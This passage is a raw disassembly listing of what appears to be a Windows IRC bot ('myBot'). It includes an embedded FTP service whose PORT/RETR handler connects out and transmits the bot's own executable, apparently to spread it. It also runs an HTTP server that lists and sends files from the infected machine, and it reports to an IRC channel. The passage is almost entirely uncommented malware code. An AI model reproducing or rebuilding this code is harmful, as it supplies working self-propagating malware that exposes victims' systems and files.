push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4057E5: ; CODE XREF: sub_405409+4F3j mov edi, [ebp+arg_0] jmp loc_4059DE ; --------------------------------------------------------------------------- loc_4057ED: ; CODE XREF: sub_405409+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40582E push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_415CF0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057DD ; --------------------------------------------------------------------------- loc_40582E: ; CODE XREF: sub_405409+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz loc_405901 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_416AA0 lea eax, [ebp+var_F8] push eax call sub_415A5F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_415A5F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_415570 push [ebp+var_8] lea eax, [ebp+var_F8] push edi push offset aXX ; "%x%x\n" push eax call sub_4154E7 add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_416A89 mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4154E7 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057E5 ; --------------------------------------------------------------------------- loc_405901: ; CODE XREF: sub_405409+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz loc_4059BC push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_405A0C pop ecx cmp eax, 1 pop ecx jnz short loc_4059B2 call sub_405A89 cmp eax, 1 jnz loc_4059DE push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_438FDC push eax lea eax, [ebp+var_8DC] push offset dword_42675C push eax call sub_4154E7 add esp, 14h cmp [ebp+var_440], esi jnz short loc_4059A3 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_412D4C add esp, 14h loc_4059A3: ; CODE XREF: sub_405409+575j lea eax, [ebp+var_8DC] push eax call sub_40B16D pop ecx jmp short loc_4059DE ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_405409+52Fj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059DB ; --------------------------------------------------------------------------- loc_4059BC: ; CODE XREF: sub_405409+50Dj lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4059DE push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059DB: ; CODE XREF: sub_405409+28Bj ; sub_405409+2AFj ... push edi call ebx ; send loc_4059DE: ; CODE XREF: sub_405409+3DFj ; sub_405409+539j ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_415570 add esp, 0Ch loc_4059F0: ; CODE XREF: sub_405409+160j ; sub_405409+189j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405537 jmp loc_4054FC ; --------------------------------------------------------------------------- loc_405A02: ; CODE XREF: sub_405409+11Ej push 1 pop eax loc_405A05: ; CODE XREF: sub_405409+D0j pop edi pop esi pop ebx leave retn 4 sub_405409 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A0C proc near ; CODE XREF: sub_405409+525p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4211B0 ; WSAStartup push 0 push 1 push 2 call dword_4211E0 ; socket push [ebp+arg_0] mov dword_438FD8, eax mov [ebp+var_10], 2 call dword_4211D8 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_4211DC ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_438FD8 call dword_4211E4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_405A84 push dword_438FD8 call dword_4211F0 ; closesocket call dword_4211AC ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A84: ; CODE XREF: sub_405A0C+60j push 1 pop eax leave retn sub_405A0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A89 proc near ; CODE XREF: sub_405409+531p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_42107C ; GetModuleFileNameA lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_415BE8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405B20 test byte ptr [esi+0Ch], 10h jnz short loc_405B04 push edi mov edi, 400h loc_405ACC: ; CODE XREF: sub_405A89+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_416BB0 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_438FD8 call dword_4211EC ; send push 1 call dword_421060 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_405ACC pop edi loc_405B04: ; CODE XREF: sub_405A89+3Bj push esi call sub_415B40 pop ecx push dword_438FD8 call dword_4211F0 ; closesocket call dword_4211AC ; WSACleanup push 1 pop eax loc_405B20: ; CODE XREF: sub_405A89+35j pop esi leave retn sub_405A89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B23 proc near ; DATA XREF: sub_407276+333o ; sub_40CE55+5068o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_415570 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43A398 ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43A418 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405F0E mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43F534[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43A3C4 ; bind cmp eax, 0FFFFFFFFh jz loc_405F0E push 7FFFFFFFh push edi call dword_43A3C0 ; listen cmp eax, 0FFFFFFFFh jz loc_405F0E lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43A434 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_405F0E mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BFA: ; CODE XREF: sub_405B23+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43A380 ; select cmp eax, 0FFFFFFFFh jz loc_405F09 xor esi, esi mov [ebp+var_4], esi loc_405C30: ; CODE XREF: sub_405B23+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43A290 ; __WSAFDIsSet test eax, eax jz loc_405EF4 cmp esi, [ebp+var_C] jnz short loc_405CB2 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43A42C ; accept cmp eax, 0FFFFFFFFh jz loc_405EF4 xor ecx, ecx test ebx, ebx jbe short loc_405C84 lea edx, [ebp+var_134] loc_405C78: ; CODE XREF: sub_405B23+15Fj cmp [edx], eax jz short loc_405C84 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C78 loc_405C84: ; CODE XREF: sub_405B23+14Dj ; sub_405B23+157j cmp ecx, ebx jnz short loc_405CA1 cmp ebx, 40h jnb short loc_405CA1 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405CA1: ; CODE XREF: sub_405B23+163j ; sub_405B23+168j cmp eax, [ebp+var_8] jbe loc_405EF4 mov [ebp+var_8], eax jmp loc_405EF4 ; --------------------------------------------------------------------------- loc_405CB2: ; CODE XREF: sub_405B23+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_415570 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_415570 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43A3B0 ; recv test eax, eax jg short loc_405D45 push esi call dword_43A430 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_405EF4 lea eax, [ebp+var_134] loc_405D04: ; CODE XREF: sub_405B23+1EBj cmp [eax], esi jz short loc_405D15 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405D04 jmp loc_405EF4 ; --------------------------------------------------------------------------- loc_405D15: ; CODE XREF: sub_405B23+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D39 lea eax, [ebp+ecx*4+var_134] loc_405D23: ; CODE XREF: sub_405B23+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405D23 loc_405D39: ; CODE XREF: sub_405B23+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EF4 ; --------------------------------------------------------------------------- loc_405D45: ; CODE XREF: sub_405B23+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_415570 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_415CF0 add esp, 10h test eax, eax jbe loc_405EF4 loc_405D73: ; CODE XREF: sub_405B23+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405E18 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_405DEC lea eax, [ebp+var_18F0] push eax call sub_415CF0 cmp eax, 5 pop ecx jbe short loc_405DEC mov eax, offset asc_426A00 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_415AC0 pop ecx pop ecx push eax call sub_415AC0 pop ecx pop ecx push eax call sub_416C98 push eax lea eax, [ebp+var_23C] push eax call sub_415C00 add esp, 10h jmp short loc_405E03 ; --------------------------------------------------------------------------- loc_405DEC: ; CODE XREF: sub_405B23+27Fj ; sub_405B23+291j lea eax, [ebp+var_18F0] push offset asc_4269FC ; "\r\n" push eax call sub_415910 pop ecx test eax, eax pop ecx jz short loc_405E37 loc_405E03: ; CODE XREF: sub_405B23+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_415570 add esp, 0Ch or esi, 0FFFFFFFFh loc_405E18: ; CODE XREF: sub_405B23+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_415CF0 cmp [ebp+arg_0], eax pop ecx jb loc_405D73 jmp loc_405EF4 ; --------------------------------------------------------------------------- loc_405E37: ; CODE XREF: sub_405B23+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E81 lea eax, [ebp+var_134] loc_405E43: ; CODE XREF: sub_405B23+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E54 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E43 jmp short loc_405E84 ; --------------------------------------------------------------------------- loc_405E54: ; CODE XREF: sub_405B23+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E78 lea eax, [ebp+ecx*4+var_134] loc_405E62: ; CODE XREF: sub_405B23+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E62 loc_405E78: ; CODE XREF: sub_405B23+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E84 ; --------------------------------------------------------------------------- loc_405E81: ; CODE XREF: sub_405B23+318j mov esi, [ebp+var_4] loc_405E84: ; CODE XREF: sub_405B23+32Fj ; sub_405B23+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EED lea eax, [ebp+var_360] push eax call sub_415CF0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_415CF0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EED and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43A434 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_406100 add esp, 14h jmp short loc_405EF4 ; --------------------------------------------------------------------------- loc_405EED: ; CODE XREF: sub_405B23+369j ; sub_405B23+38Fj push esi call dword_43A430 ; closesocket loc_405EF4: ; CODE XREF: sub_405B23+11Dj ; sub_405B23+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405C30 jmp loc_405BFA ; --------------------------------------------------------------------------- loc_405F09: ; CODE XREF: sub_405B23+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405F0E: ; CODE XREF: sub_405B23+6Aj ; sub_405B23+92j ... call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_4269B4 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F54 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_412D4C add esp, 14h loc_405F54: ; CODE XREF: sub_405B23+40Cj lea eax, [ebp+var_8F0] push eax call sub_40B16D pop ecx push edi call dword_43A430 ; closesocket push [ebp+var_254] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_405B23 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F7E proc near ; DATA XREF: sub_406100+246o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_415D70 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4154E7 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_4154E7 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_405FE3 push offset aTextHtml ; "text/html" jmp short loc_405FE8 ; --------------------------------------------------------------------------- loc_405FE3: ; CODE XREF: sub_405F7E+5Cj push offset aApplicationOct ; "application/octet-stream" loc_405FE8: ; CODE XREF: sub_405F7E+63j lea eax, [ebp+var_9C] push eax call sub_4154E7 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_421084 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_421080 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406061 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4154E7 add esp, 24h jmp short loc_406082 ; --------------------------------------------------------------------------- loc_406061: ; CODE XREF: sub_405F7E+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4154E7 add esp, 28h loc_406082: ; CODE XREF: sub_405F7E+E1j lea eax, [ebp+var_1654] push edi push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43A3E8 ; send cmp [ebp+var_A4], edi jnz short loc_4060C2 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A32 pop ecx pop ecx jmp short loc_4060DF ; --------------------------------------------------------------------------- loc_4060C2: ; CODE XREF: sub_405F7E+12Cj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_4063B0 add esp, 10h loc_4060DF: ; CODE XREF: sub_405F7E+142j push [ebp+var_44C] call dword_43A430 ; closesocket push [ebp+var_B4] call sub_4152AF pop ecx push edi call dword_421048 ; ExitThread pop edi pop esi sub_405F7E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406100 proc near ; CODE XREF: sub_405B23+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_415570 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406136 push eax push offset aS_2 ; "\\%s" jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406136: ; CODE XREF: sub_406100+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40613F: ; CODE XREF: sub_406100+34j lea eax, [ebp+var_10C] push eax call sub_4154E7 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_415CF0 test eax, eax pop ecx jbe short loc_4061DA mov [ebp+arg_8], 2 loc_40616A: ; CODE XREF: sub_406100+D8j lea eax, [ebp+var_10C] push eax call sub_415CF0 cmp [ebp+arg_8], eax pop ecx jnb short loc_4061AA cmp [ebp+esi+var_10C], 25h jnz short loc_4061AA cmp [ebp+esi+var_10B], 32h jnz short loc_4061AA cmp [ebp+esi+var_10A], 30h jnz short loc_4061AA inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_4061C4 ; --------------------------------------------------------------------------- loc_4061AA: ; CODE XREF: sub_406100+7Aj ; sub_406100+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_4061BA push 5Ch pop eax jmp short loc_4061BD ; --------------------------------------------------------------------------- loc_4061BA: ; CODE XREF: sub_406100+B3j movsx eax, al loc_4061BD: ; CODE XREF: sub_406100+B8j mov [ebp+ebx+var_210], al loc_4061C4: ; CODE XREF: sub_406100+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_415CF0 cmp esi, eax pop ecx jb short loc_40616A loc_4061DA: ; CODE XREF: sub_406100+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4154E7 lea eax, [ebp+var_314] push offset asc_426CB4 ; "\n" push eax call sub_416C98 add esp, 18h lea eax, [ebp+var_314] push eax call dword_421094 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_406228 cmp eax, 0FFFFFFFFh jnz short loc_40622B push [ebp+arg_0] jmp short loc_4062A7 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_406100+11Cj mov [ebp+var_4], esi loc_40622B: ; CODE XREF: sub_406100+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_406238 mov [ebp+var_4], esi loc_406238: ; CODE XREF: sub_406100+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_4062B2 cmp [ebp+arg_C], edi jz short loc_4062A6 lea eax, [ebp+var_314] push offset asc_426CB0 ; "*" push eax call sub_415C10 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4154E7 lea eax, [ebp+var_210] push eax call sub_406AEF lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4154E7 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_406301 ; --------------------------------------------------------------------------- loc_4062A6: ; CODE XREF: sub_406100+14Fj push ebx loc_4062A7: ; CODE XREF: sub_406100+126j call dword_43A430 ; closesocket jmp loc_4063A9 ; --------------------------------------------------------------------------- loc_4062B2: ; CODE XREF: sub_406100+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_421078 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_406301 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4154E7 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_421090 ; GetFileSize push esi mov [ebp+var_330], eax call dword_42106C ; CloseHandle loc_406301: ; CODE XREF: sub_406100+1A4j ; sub_406100+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_426C6C push eax call sub_4154E7 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_414F93 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43F52C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F7E push edi push edi call dword_42108C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43F53C[ecx], eax jz short loc_40637B loc_406369: ; CODE XREF: sub_406100+279j cmp [ebp+var_318], edi jnz short loc_4063A9 push 5 call dword_421060 ; Sleep jmp short loc_406369 ; --------------------------------------------------------------------------- loc_40637B: ; CODE XREF: sub_406100+267j push ebx call dword_43A430 ; closesocket call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_426C20 push eax call sub_4154E7 lea eax, [ebp+var_8C4] push eax call sub_40B16D add esp, 10h loc_4063A9: ; CODE XREF: sub_406100+1ADj ; sub_406100+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_406100 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063B0 proc near ; CODE XREF: sub_405F7E+159p ; sub_40CE55+464Cp var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_415570 mov edi, [ebp+arg_0] push offset asc_426CB4 ; "\n" push edi call sub_416C98 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40640F push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_415A6A add esp, 14h jmp loc_40650C ; --------------------------------------------------------------------------- loc_40640F: ; CODE XREF: sub_4063B0+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064F2 call sub_415CF0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send push edi call sub_415CF0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 0Ch jmp short loc_40650C ; --------------------------------------------------------------------------- loc_4064F2: ; CODE XREF: sub_4063B0+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 10h loc_40650C: ; CODE XREF: sub_4063B0+5Aj ; sub_4063B0+140j lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send cmp [ebp+arg_C], ebx jz short loc_4065A4 push [ebp+arg_C] call sub_415CF0 cmp eax, 2 pop ecx jbe short loc_4065A4 push [ebp+arg_C] call sub_415CF0 sub eax, 3 pop ecx jz short loc_406558 loc_40654C: ; CODE XREF: sub_4063B0+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406558 dec eax jnz short loc_40654C loc_406558: ; CODE XREF: sub_4063B0+19Aj ; sub_4063B0+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_416D40 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send loc_4065A4: ; CODE XREF: sub_4063B0+17Ej ; sub_4063B0+18Cj lea eax, [ebp+var_388] push eax push edi call dword_4210A8 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_4210A4 ; FindNextFileA test eax, eax jz loc_406995 mov edi, 1FFh loc_4065D0: ; CODE XREF: sub_4063B0+5DFj cmp [ebp+var_388], ebx jz loc_40697D lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_415910 pop ecx test eax, eax pop ecx jz loc_40697D lea eax, [ebp+var_35C] push offset a__0 ; "." push eax call sub_415910 pop ecx test eax, eax pop ecx jz loc_40697D lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_4210A0 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_42109C ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406645 mov ecx, offset aAm ; "AM" loc_406645: ; CODE XREF: sub_4063B0+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_406651 sub eax, 0Ch loc_406651: ; CODE 